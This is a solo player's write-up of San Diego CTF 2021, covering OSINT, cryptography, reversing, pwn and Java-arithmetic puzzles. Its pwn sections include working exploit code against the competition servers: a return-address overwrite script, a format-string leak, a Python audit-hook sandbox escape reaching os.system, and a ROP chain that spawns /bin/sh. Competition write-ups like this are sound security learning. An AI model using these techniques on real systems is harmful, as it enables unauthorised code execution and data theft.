日本語版:San Diego CTF 2021 writeup - Qiita
About
I participated San Diego CTF 2021 as an one-person team.
This CTF has a characteristic that there are no special Web pages to serve problems and accept flag submissions,
and that we use Discord for them.
I earned 4326 points and ranked #10 among the 293 teams that earned positive score.
(The rank in the scoreboard of this CTF began from #0 and I was at the 11th position)
The transition of my score during the competition was like below.
(Based on the time on which I solved each challenges and the final values after the competition. Changes in values of each challenges during the competition are not taken account of)
Time solved (JST : UTC+9) | Category | Challenge | Value | Rank for each challenge |
---|---|---|---|---|
2021/05/08 09:30 | CRYPTO | Lost in Transmission | 75 | #3 |
2021/05/08 09:36 | CRYPTO | Case64AR | 190 | #1 |
2021/05/08 09:52 | CRYPTO | A Prime Hash Candidate | 292 | #3 |
2021/05/08 10:26 | REVENGE | A Bowl of Pythons | 115 | #5 |
2021/05/08 10:45 | PWN | Flag dROPper | 216 | #6 |
2021/05/08 11:10 | PWN | printFAILED | 206 | #5 |
2021/05/08 12:28 | PWN | Unique Lasso | 441 | #5 |
2021/05/08 13:15 | MISC | Sanity Check | 15 | #83 |
2021/05/08 13:21 | MISC | Alternative Arithmetic (Intermediate Flag) | 259 | #2 |
2021/05/08 14:04 | MISC | Alternative Arithmetic (Final Flag) | 537 | #1 |
2021/05/08 14:34 | OSINT | Speed Studying | 75 | #36 |
2021/05/08 14:44 | OSINT | Speed Studying 2 | 282 | #14 |
2021/05/08 19:26 | CRYPTO | A Primed Hash Candidate | 147 | #4 |
2021/05/09 00:52 | PWN | HAXLAB — Flag Leak | 378 | #6 |
2021/05/09 00:54 | PWN | HAXLAB — Endgame Pwn | 648 | #3 |
2021/05/10 03:40 | OSINT | hIDe and seek | 100 | #87 |
2021/05/10 04:17 | OSINT | hIDe and seek 2 | 200 | #54 |
2021/05/10 08:17 | MISC | survey | 150 | #75 |
(This "Rank for each challenge" begins from #1)
Especially, I became the first to solve for two challenges: Case64AR and Alternative Arithmetic (Final Flag).
Problems I solved
OSINT
hIDe and seek
Location ?v=hqXOIZtRYZU
and Location 2 qFHIm0c.jpeg
were given as hints.
The Location looked like a part of a YouTube URL.
I put the information to a YouTube URL, and it was a video looking related.
congratulations - YouTube
I didn't come up with idea about the Location 2 soon.
I googled photo sharing
and found this page:
List of image-sharing websites - Wikipedia
I checked each service for relevance, and found that Imgur uses image URLs that looks similar to the target.
I put the information to an Imgur image URL, and it was an image looking related.
https://i.imgur.com/qFHIm0c.jpeg
I got the correct flag by combining information from the video and the image.
sdctf{W0w_1_h4D_n0_ID3a!}
hIDe and seek 2
These hints were given:
- First piece of info:
gg/4KcDWnUYMs
- Second piece of info:
810237829564727312-810359639975526490
I searched for gg
in my history in my Web browser.
I found some URLs like https://discord.gg/
and 10 characters after that like the hint.
Based on this, I opened https://discord.gg/4KcDWnUYMs
,
seeing an invitation page for "sdctf admin chat" on Discord.
I accepted the invitation and then there were many strings like the flag.
I clicked "Copy Message Link" in the "..." menu on the right side. The copied URL was like
https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090
and the 810237829564727312
part matched with the former half of the Second piece of info.
Seeing this, I replaced the last part of this URL to the latter half of the Second piece of info and opened the URL:
https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
As a result, one of the strings like the flag was highlighted for about 1 second.
The highlighted string was the correct flag.
sdctf{m@st3R_h@Ck3R_4807}
Speed Studying
We were asked to answer the first name and the last name of a person satisfying conditions below as a flag.
- professor at UC San Diego
- an Assistant Professor for the Computer Science department
- an Associate Professor for the Mathematics department
Firstly, I googled UC San Diego
and found this page.
University of California San Diego
Then, I followed the link "A to Z Site Index" in the bottom of the page, and opened these pages:
- Computer Science & Engineering in "C"
- Mathematics in "M"
The page for Computer Science didn't look so useful for me.
I found a list of people in People > Directory in the page for Mathematics.
UCSD Math | Directory
Among them, there were two people that are marked as "Computer Science":
-
UCSD Math | Profile for Fan Chung Graham
- Professor Emerita of Mathematics
- Professor Emerita of Computer Science Engineering
-
UCSD Math | Profile for Daniel Kane
- Associate Professor of Mathematics
- Associate Professor of Computer Science
Comparing them, Daniel Kane's profile looked closer to the condition.
However, the profile said "Associate Professor" for both Computer Science and Mathematics
while the condition said "Assistant Professor" for Computer Science.
I submitted this as a flag anyway, and the system said that it is correct.
Daniel Kane
Speed Studying 2
The problem requests an example from Daniel Kane's classes called "The Skyline Problem".
Firstly, I googled The Skyline Problem
and it gave me this:
The Skyline Problem - LeetCode
This looked like a common competitive programming question.
I visited the "Personal Website" of Daniel Kane:
Daniel Kane's Homepage
However, there were so many documents that it looked difficult to search among that.
Then, I googled site:http://cseweb.ucsd.edu/%7Edakane/ skyline
.
It gave this PDF file and the flag was there:
Homework3.pdf
There were many extra space characters when I copy-and-pasted the flag,
so I removed them via the Replace function of my text editor.
By the way, it also gave me PDF that looked like the answer for the questions:
Solutions3.pdf
sdctf{N1ce_d0rKiNG_C@pt41N}
CRYPTO
Lost in Transmission
I compared the first part of the Flag Message and the flag format sdctf{
via my binary editor.
Flag Message sdctf{
0 1110 0110 0 0111 0011
1 1100 1000 1 0110 0100
2 1100 0110 2 0110 0011
3 1110 1000 3 0111 0100
4 1100 1100 4 0110 0110
5 1111 0110 5 0111 1011
As a result, the Flag Message looked like the flag with the first one bit removed.
This matches with the problem statement "it seems a bit...off.".
decode.c
#include <stdio.h>
int main(void) {
int c;
int p = 0;
while ((c = getchar()) != EOF) {
putchar(((p & 1) << 7) | (c >> 1));
p = c;
}
return 0;
}
sdctf{W0nD3rfUL_mY_G00d_s1R}
Case64AR
I compared the first part of Ciphertext OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv
and
The base64-encoded the first part of the flag format (sdctf{
) c2RjdGZ7
,
referring the Base64 table in Base64 - Wikipedia.
As a result, the characters in base64-encoded flag looked like 14-character ahead from the characters in Ciphertext.
Then, I got the flag by transforming Ciphertext via CyberChef and the Recipe below:
- Substitute (Encryption / Encoding)
- Plaintext:
yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx
- Ciphertext:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
- Plaintext:
- From Base64 (Data format)
sdctf{OBscUr1ty_a1nt_s3CURITy}
A Prime Hash Candidate
A Python source code with hash value and hash function, and information for connecting to a TCP server were given.
It looked like we were supposed to find a password that matches to the hash value and enter that to the server.
What the hash function does is "Initialize the value with zero, then multiply 31 to the previous value and add the character code seeing each character".
I decided to use Z3 for calculating the suitable password.
This page was very helpful to learn how to use Z3:
CTF/Toolkit/z3py - 電気通信大学MMA (written in Japanese)
I set the length of password to calculate to 20 characters at the beginning, then decremented it manually.
I succeeded to install Z3 to my Python environment by the command:
pip install z3-solver
Using z3
instead of z3-solver
didn't work.
solve.py
from z3 import *
values = [Int("v" + str(i)) for i in range(17)]
s = Solver()
res = 0
for v in values:
s.add(0x20 <= v)
s.add(v < 0x7f)
res = res * 31 + v
s.add(res == 59784015375233083673486266)
r = s.check()
if r == sat:
m = s.model()
res = ""
for v in values:
c = m[v].as_long()
if c != 0:
res += chr(c)
print(res)
else:
print(r)
This program answered that the password N~qqw0S$~F~rHHn%g
satisfies the condition.
By the way, I decided to search the length manually because I couldn't handle zero well.
Later, I succeeded to have it calculate the length by using a variable for the length and have it ignore the extra part according to the length.
solve2.py
from z3 import *
target = 59784015375233083673486266
mult = 31
value_len_max = 20
s = Solver()
value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]
s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))
res = 0
for i in range(len(values)):
res = If(i < value_len, res * mult + values[i], res)
s.add(res == target)
r = s.check()
if r == sat:
m = s.model()
res = ""
for i in range(m[value_len].as_long()):
res += chr(m[values[i]].as_long())
print(res)
else:
print(r)
This program answered that the password Q"Rqumpe"'~rI*MdH
satisfies the condition.
The two programs gave me different passwords, but the server accepted both.
sdctf{st1ll_3553nt14lly_pl@1n_txt}
A Primed Hash Candidate
Information for connecting to a TCP server and a Python source code that looked like explaining the program on the server were given.
This program has a hash function below.
Using the function, it will print the flag if the hash value of the password entered is the predefined value,
and print the hash value otherwise.
- Initialize the hash value to zero.
- Calculate exclusive-or of each characters of the password and a string
secret1
.
Ifsecret1
is shorter than the password, it is used repeatedly. - Append a string
secret2
at the end of the result. - For each characters of the result, multiply an integer
secret3
and add the character code to the hash value.
Firstly, I had the server calculate some hash values of several passwords. For example, I got these:
password | hash value | how many times the above hash value |
---|---|---|
(empty) | 102600138716356059007219996705144046117627968461 | - |
a |
992166622960964278925004202918932637575577014865 | 9.670226915617196 |
aa |
210262682041505048014583738714712698778058090181406 | 211.92275286786946 |
aaa |
48985637796415496050216650657519848062713133279035928 | 232.97352302747626 |
aaaa |
11413640700522060381545483921019415124103706124202506721 | 232.99973653414898 |
I could guess that the more digits the hash value takes, the less the effect of addition becomes,
and the ratio of hash values on adding one character to password will become near to secret3
.
Using this, secret3
could be guessed to 233
.
Now we know that secret3
is 128 or larger.
Therefore, if all of the password, secret1
, and secret2
contains only ASCII characters
(characters with character code less than 128), we can calculate the data with secret2
concatenated
by taking remainder of divisions by secret3
.
Actually I calculated this with the program below.
In addition to the hash values above, I added a hash value of sequences of many a
to calculate secret1
.
Also, the resulting secret2
consisted of only ASCII characters, so I added some code to print it as a string.
test.py
m = 233
def calc(q):
res = []
while q > 0:
res.append(q % m)
q = q // m
return [res[len(res) - i - 1] for i in range(len(res))]
print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))
# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))
str = ""
for c in calc(102600138716356059007219996705144046117627968461):
str += chr(c)
print(str)
I got this output:
[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2
The ks(3n*cl3p%3925(*4*2
, printed in the last line, is secret2
.
Also, seeing the output, it seemed the pattern [4, 13, 82, 49, 41, 85, 15, 53, 69]
is repeated.
Therefore, secret1
will be this sequence with exclusive-ored with the character code of a
.
The program below actually calculates this, and it answered that secret1
is el3PH4nT$
.
test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]
key = ord('a')
res = ""
for c in data:
res += chr(c ^ key)
print(res)
Finally, I obtained the password to enter by decoding the predefined hash value of the password PASSWD
,
and calculating exclusive-or with secret1
of the part that is not secret2
.
test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]
key = "el3PH4nT$"
key_v = [ord(x) for x in key]
res = ""
for i in range(len(data)):
res += chr(data[i] ^ key_v[i % len(key_v)])
print(res)
The password to enter was GZZ9t3W3Ar34un44m8PLXX6
.
(I called the value and functions as "hash value" and "hash function" because they are called as "hash" in the server,
but they doesn't seem hash because they can be decoded easily and uniquely...)
sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}
WEB
Unfortunately I couldn't solve any problems in WEB.
REVENGE
A Bowl of Pythons
A Python source code was given.
Firstly, the strings in the code were expressed in hexadecimal values, so I used "From Hex" of CyberChef to decode them for readability.
Then, seeing the main e()
function, it was firstly checking the header and footer of the input,
and then checking contents between them.
I got the medium part of the flag by removing extra things and reversing the calculation.
solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)
f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'
print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))
sdctf{v3ry-t4sty-sph4g3tt1}
PWN
Flag dROPper
Information to connect to a TCP server and an ELF file that looked like running on the server were given.
I disassembling this ELF file via objdump
in TDM-GCC and read the result.
As a result, I found that the program first puts an address of _exit
function to a buffer with 0x48-byte offset,
then reads an input to the buffer,
and finally executes the address saved in the buffer with 0x48-byte offset.
Based on this, I got the flag (expect for the first character) by putting an input to set the address to the address of win
function.
communicate.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");
if (!$sock) { die "socket open failed\n"; }
binmode($sock);
my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";
print $sock $query;
while (<$sock>) {
print $_;
}
close($sock);
sdctf{n1C3_C4tcH_bUd}
HAXLAB — Flag Leak
Information for connecting to a TCP server and a Python source code that looked like running on the server were given.
This program executes entered statements, but many operations are refused via sys.addaudithook()
.
I tried various input, and found that import sys
was not refused while import subprocess
was refused.
Now I gained access to sys.modules
via import sys
.
What can be accessed via that included the builtins
module.
It looked possible to replace builtin functions by modifying this module.
Especially, I could replace the set()
function, which was used for the initialization of allow list in the function to refuse operations, by assigning a lambda function to sys.modules["builtins"].set
.
Using this, I could enable to execute os.system()
by adding "os.system"
to the allow list.
Finally, I got the flag by executing the command cat flag1.txt
using this.
In other words, I got the flag by executing these statements:
import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
sdctf{get@ttr_r3ads_3v3ryth1ng}
HAXLAB — Endgame Pwn
Information for connecting to a TCP server and a Python source code that looked like running on the server were given.
They are just the same as what are given in HAXLAB — Flag Leak.
Therefore, I got the flag by executing the command cat flag2.txt
instead of cat flag1.txt
using the same technique.
sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}
printFAILED
Information to connect to a TCP server and an ELF file that looked like running on the server were given.
I disassembling this ELF file via objdump
in TDM-GCC and read the result.
As a result, what the program is doing looked like this:
transcription.c
#include <stdio.h>
#include <string.h>
int FLAG_LEN;
char flag[1024];
char guess[1024];
void scramble(int len) { /* -0x14(%rbp) */
int i; /* -0x4(%rbp) */
/* 831 860 */
for (i = 0; i < len; i++) {
/* 83a */
int eax = i, ecx;
eax = flag[eax];
eax += 1;
/* 84e */
ecx = eax;
eax = i;
flag[eax] = ecx;
}
}
int main(void) {
/* 87e */
FILE* fp = fopen("flag.txt", "r");
fgets(flag, 0x28, fp);
/* 8ad */
scramble(0x27);
/* 8b7 */
puts("can you guess the scrambled flag?");
fflush(stdout);
/* 8d2 */
fgets(guess, 0x28, stdin);
/* 8ed */
puts("you guessed: ");
/* 8f9 */
printf(guess, main, scramble, FLAG_LEN, flag);
/* 935 */
if (strcmp(guess, flag) == 0) {
/* 93e */
puts("nice guess!");
} else {
/* 94c */
puts("wrong");
}
/* 958 */
return 0;
}
Among these lines, the important line is:
printf(guess, main, scramble, FLAG_LEN, flag);
User-provided data is stored to the array guess
, and data read from flag.txt
and altered by scramble()
function is stored to the array flag
.
The scramble()
function adds one to each elements of the array flag
until the position specified by the argument.
Therefore, the flag should be obtained by reading the contents of the array flag
and modify that in the reversed way of what the scramble()
function does.
Based on this, I entered an input:
%lx %lx %lx %s
and got an output:
55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
I got the flag by applying SUB with Key "-1" via CyberChef to the last part of the output tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
.
(SUB is in the Arithmetic / Logic category)
sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}
Unique Lasso
Information to connect to a TCP server and an ELF file that looked like running on the server were given.
I disassembling this ELF file via objdump
in TDM-GCC and read the result.
As a result, what the program is doing looked like this:
transcription.c
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char rbp_6[2];
int rbp_4;
/* 400b75 */
puts("how long do you think this lass is: (hint: its really long)");
/* 400b81 */
fflush(stdout);
/* 400b90 */
fgets(rbp_6, 0x258, stdin);
/* 400ba8 */
rbp_4 = atoi(rbp_6);
/* 400bb4 */
printf("You guessed %d\n", rbp_4);
/* 400bcd */
puts("Its gotta be longer than that");
/* 400bd9 */
fflush(stdout);
/* 400be8 */
return 0;
}
There didn't seem anything like win
function, so I decided to have it execute execve("/bin/sh", 0, 0)
via ROP (Return-oriented programming).
To archive that, I should have it execute syscall
instruction with 59 (the system call number of execve
) in %rax
, an address of "/bin/sh"
in %rdi
, and 0 in %rsi
and %rdi
.
I searched for machine code of each instruction from the ELF file via my binary editor.
As a result, I found gadgets in the place (in the ELF file) below, for example.
0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret
Seeing the disassemble result, the address for execution should be the place in the file plus 0x400000.
Also, "/bin/sh"
didn't seem in the file, but I found this in the disassemble result:
400692: 48 89 05 67 c1 2b 00 mov %rax,0x2bc167(%rip) # 6bc800 <__x86_shared_non_temporal_threshold>
400699: 48 83 c4 08 add $0x8,%rsp
40069d: 5b pop %rbx
40069e: 5d pop %rbp
40069f: 41 5c pop %r12
4006a1: 41 5d pop %r13
4006a3: 41 5e pop %r14
4006a5: 41 5f pop %r15
4006a7: c3 retq
This should be able to store an arbitrary value in %rax
to the memory location 0x6bc800.
Using them, I constructed what to put in the stack to have it do this:
- Put data that represents
"/bin/sh"
to%rax
- Store what is in
%rax
to 0x6bc800 - Put 59 to
%rax
- Put 0x6bc800 to
%rdi
- Put 0 to
%rsi
- Put 0 to
%rdi
- Execute
syscall
After sending an input to put this contents in the stack, I sent some commands for the shell, but it didn't give response for the commands for some reason.
I made some trial-and-error like adding a loop to send commands many times and succeeded to get a list of files and the flag.
communicate.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");
if (!$sock) { die "socket open failed\n"; }
binmode($sock);
my $query = "123456--------";
my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov = 0x400692;
my @data = (
$pop_rax,
-1,
$mov,
0, 0, 0, 0, 0, 0, 0,
$pop_rax,
59,
$pop_rdi,
0x6bc800,
$pop_rsi,
0,
$pop_rdx,
0,
$syscall
);
for (my $i = 0; $i < @data; $i++) {
if ($data[$i] >= 0) {
$query .= pack("Q", $data[$i]);
} else {
$query .= "/bin/sh\0";
}
}
print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
#print $sock "echo hoge\n";
#print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
}
while (<$sock>) {
print $_;
}
close($sock);
sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}
MISC
Sanity Check
The flag was in the challenge description.
Here's the flag of this challenge:
sdctf{1_@m_n0t_4_r0b0t!}
sdctf{1_@m_n0t_4_r0b0t!}
Alternative Arithmetic (Intermediate Flag)
Some quizzes about Java were presented, and I got the flag by answering 3 questions correctly.
Question 1
A nonzero value of long x
such that x == -x
was asked.
The long
is 64-bit long, and if two's complement is used, the value -(2 ** 63)
will satisfy this condition.
I calculated this value via Python.
x = -9223372036854775808
Question 2
Two long
values x
and y
that satisfy the conditions below were asked.
- Differs
- The difference is 10 or less
Long.hashCode(x) == Long.hashCode(y)
The hash values of long
looks like calculated by exclusive-or of the upper 32 bits and the lower 32 bits.
-1
(0xffffffffffffffff
) becomes 0
by calculating exclusive-or of
the upper 32 bits 0xffffffff
and the lower 32 bits 0xffffffff
.
0
(0x0000000000000000
) also becomes 0
by calculating exclusive-or of
the upper 32 bits 0x00000000
and the lower 32 bits 0x00000000
.
x = 0
y = -1
Question 3
A value of float magic
such that the for loop
for (float start = magic; start < (magic + 256); start++)
iterates enough times was asked.
Also, when I enter some random value, the server showed me a condition that the input has to be less than 7 characters. I hate initially hidden conditions like this.
I got a correct answer by giving value that won't be changed by adding one, considering the precision of float
.
f = 1e+8
The flag
sdctf{JAVA_Ar1thm3tIc_15_WEirD}
Alternative Arithmetic (Final Flag)
After quizzes for Alternative Arithmetic (Intermediate Flag), more quizzes about Java were presented.
I got the flag by answering 2 questions correctly.
Question 4
Strings s1
, s2
, and s3
that satisfies conditions below were asked.
new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0
Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)
I got a correct answer by entering a large value and a small value to overflow double
.
s1 = 1e+1000
s2 = -1e+1000
s3 = 0
Question 5
Codes to fill in <type>
,<num1>
, and <num2>
of
var i = (<type>) <num1>; var j = (<type>) <num2>;
such that
i < j || i == j || i > j
evaluates to false
were asked.
Also, <num1>
and <num2>
were asked to "satisfy regex [0-9]*\.?[0-9]*
".
I got a correct answer by trying various things on Wandbox.
<type>: Double
<num1>: 1.0
<num2>: 1.0
The flag
sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}
survey
An URL for a Google Forms page was given.
I filled in the questionnaire and submitted the answer, seeing the flag presented.
sdctf{Suv3y_s@ys!}